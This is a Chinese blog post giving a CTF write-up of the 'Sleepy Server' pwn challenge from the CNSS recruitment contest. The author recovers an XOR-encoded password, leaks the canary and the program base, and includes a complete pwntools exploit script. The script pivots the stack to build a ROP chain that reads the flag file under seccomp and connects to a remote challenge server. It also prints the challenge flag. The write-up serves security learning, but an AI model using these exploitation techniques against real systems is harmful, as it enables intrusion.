风之栖息地

CNSS招新题中的一道ROP题

字数统计: 1.5k阅读时长: 6 min
2019/11/11 Share

CNSS招新题目中有两道不错的Pwn题,拿来学习一波知识。然而其中有一道是内核ROP,复现了好几天。。还是有点问题,再加上研究生大作业集群来了(完全不能摸鱼,哭唧唧),所以那道内核题能做出来就放博客。

Sleepy Server

这道题checksec发现防御全开,同时给了libseccomp,看来是对libc的调用有一定限制。

可以看到禁用了execve,不能通过直接拿shell获得flag。开始分析整个程序,看看有什么利用点。

比较容易的就能看到buf有一个溢出,但是溢出的数量有限只有0x10字节,随后看到我们输入的用户名和密码被传入一个函数判断,判断的结果正确才会进入漏洞点,我们继续跟进sub_E9D函数。

在这里我们发现只对a2有相关操作,也就是我们输入的密码。首先一个临时数组保存v3 ^ a2[i]的数据,并且将这个数据更新到v3上。也就是说每次异或操作都是和上一轮异或的结果和这轮的字符,同时临时保存的每轮异或数据要和v8开始的一系列值相等。

从上面看一共有12个值,那么密码的长度肯定是12,这样我们有每轮异或最后的结果可以异或操作逆推回去。原始输入的结果就等于这轮异或结果与上一轮异或结果相异或,然后第一轮是这轮结果与0异或得到。解密代码如下:

1
2
3
4
5
6
7
8
data = [115, 7, 98, 18, 77, 47, 86, 9, 122, 14, 107, 27]
v3 = 0
passwd = ''
for i in data:
passwd += chr(i ^ v3)
v3 = i

print passwd

最后拿到的密码是step_by_step,这样我们就能顺利进入漏洞触发点了。

我们继续看main函数,同样很容易发现有两次printf,由于程序是开启了canary保护的,我们需要先泄露才行,而这里有两次输出,那么第一次输出就是为了泄露数据。最后8个字节为canary,通常这个值的最低位为0,我们也是只需要把这个0覆盖掉,就能让printf把后面的canaryrbp一起输出。有了rbp的数据我们能通过调试知道这个rbp和程序的起始地址的差值,从而得到程序的起始基地址,从而同时解决了地址随机化的问题。

现在目光集中在下一次输入的溢出上,这里只能溢出16字节,这意味着我们只能覆盖rbpret_address,溢出位数不够怎么解决?现在我的思路有两个

  1. 利用one_gadget一次性获得shell(可能性较小,因为seccomp的原因)
  2. 移动栈帧,把栈帧移动到我们能写入的地方,以此来构造ROP chain

使用one_gadget进行尝试,意料之中的失败。。ROP大师的题目果然是不能偷鸡成功的。

移动栈帧的leave ret在程序中比较常用,还是很好找,同时我们有程序的基地址也就能找到我们写入的地址。

第一次的返回地址填入漏洞点的上方,也是为了在第一次读入数据之后再次获得读入数据的机会,然后第二次读入的时候rbp填入我们的可控地址,返回地址填入leave ret的gadget。这样在read之后会调用一次leaveret之后又会有第二次leave来让栈帧移动。随后就是无限重复第二次动作,来完成ROP。exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template rop
# Author: hurricane618
# E-mail: hurricane618@hotmail.com
# Website: hurricane618.me
from pwn import *

# Set up pwntools for the correct architecture
exe = ELF('./' + 'rop')
context.binary = './' + 'rop'
#libc = exe.libc
libc = ELF('./libc-2.27.so')

#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled
if args['DEBUG']:
context.log_level = 'debug'

if args['REMOTE']:
io = remote('139.9.5.20', '60607')
else:
io = process(exe.path, env={"LD_PRELOAD":"./libseccomp.so.2"})

payload1 = 0xb8 * 'a'

io.recvuntil('name: ')
io.sendline('whz')
io.recvuntil('Password: ')
io.sendline('step_by_step')
io.recvuntil('tell me what you say\n')
pause()
io.sendline(payload1)
pause()

io.recvuntil(0xb8 * 'a' + '\n')
canary = u64('\x00' + io.recv(7))
elf_base = u64(io.recv(6).ljust(8, '\x00')) - 0x1180
info('canary:'+hex(canary))
info('elf_base:'+hex(elf_base))

bss=elf_base+0x00202500 #这里不是bss段 但是是一段空白数据区域 可以任意写入
buf=bss+0x200
buf2=buf+0x200
file_place=buf2+0x200 # string ./flag\x00
buf3=file_place+0x200
file_name='./flag\x00\x00'

pop_rdi_ret = 0x11e3 + elf_base
pop_rbp_ret = 0x0b70 + elf_base
read_ret = 0x1144 + elf_base
leave_ret = 0x1176 + elf_base
read_got = exe.got['read'] + elf_base
puts_plt = exe.plt['puts'] + elf_base
read_plt = exe.plt['read'] + elf_base

payload2 = 0xb8 * 'b'
payload2 += p64(canary)
payload2 += p64(buf)
payload2 += p64(read_ret)

io.recvuntil('I will go to sleep\n')
io.send(payload2)

payload3 = p64(pop_rdi_ret)
payload3 += p64(read_got)
payload3 += p64(puts_plt)
payload3 += p64(pop_rbp_ret)
payload3 += p64(file_place + 0xc0)
payload3 += p64(read_ret)
payload3 += 17 * p64(0) # padding to len=0xb8
payload3 += p64(canary)
payload3 += p64(buf - 0xc8)
payload3 += p64(leave_ret)

io.send(payload3)
read_addr = u64(io.recv(6).ljust(8, '\x00'))
libc_base = read_addr - libc.symbols['read']
info("libc base:" + hex(libc_base))
pop_rsi_ret = 0x23e6a + libc_base
pop_rdx_ret = 0x1b96 + libc_base
open_addr = libc.symbols['open'] + libc_base

payload4 = file_name
payload4 += p64(pop_rdi_ret)
payload4 += p64(file_place)
payload4 += p64(pop_rsi_ret)
payload4 += p64(0)
payload4 += p64(open_addr)
payload4 += p64(pop_rdi_ret)
payload4 += p64(3)
payload4 += p64(pop_rsi_ret)
payload4 += p64(buf3)
payload4 += p64(pop_rdx_ret)
payload4 += p64(0x30)
payload4 += p64(read_plt)
payload4 += p64(pop_rdi_ret)
payload4 += p64(buf3)
payload4 += p64(puts_plt)
payload4 += (0xb8 - len(payload4))/8 * p64(0)
payload4 += p64(canary)
payload4 += p64(file_place)
payload4 += p64(leave_ret)

pause()
io.send(payload4)
pause()
io.interactive()

一开始不知道如何确定ELF的基地址。。求助了@Tangent得到exp,然后分析之后才知道是可以通过rbp相对位移来确定。之后在复现的过程中也遇到过一些坑:

  1. leave ret来移动栈帧的时候要注意移动之后要在目标地址多填充8字节,这是因为leavepop rbp的原因;
  2. 这里用的libc是libc-2.27,我最先使用的libc-2.23,也是没有注意题目的提醒Ubuntu 18.04
  3. 还有就是我为了偷懒read读入数据的地址一开始是file_name的地方,结果发现老是读出来的是乱码,调试之后发现明明能成功读取到字符串,然后调puts输出的时候莫名其妙的就不行???随后把读入的数据放在其他地方就好了。。。如果有大佬知道是怎么回事的,求告知;

最后拿到flag,cnss{r00oopp_1s_e45y_I_10v3_r0o00op}

CATALOG
  1. 1. Sleepy Server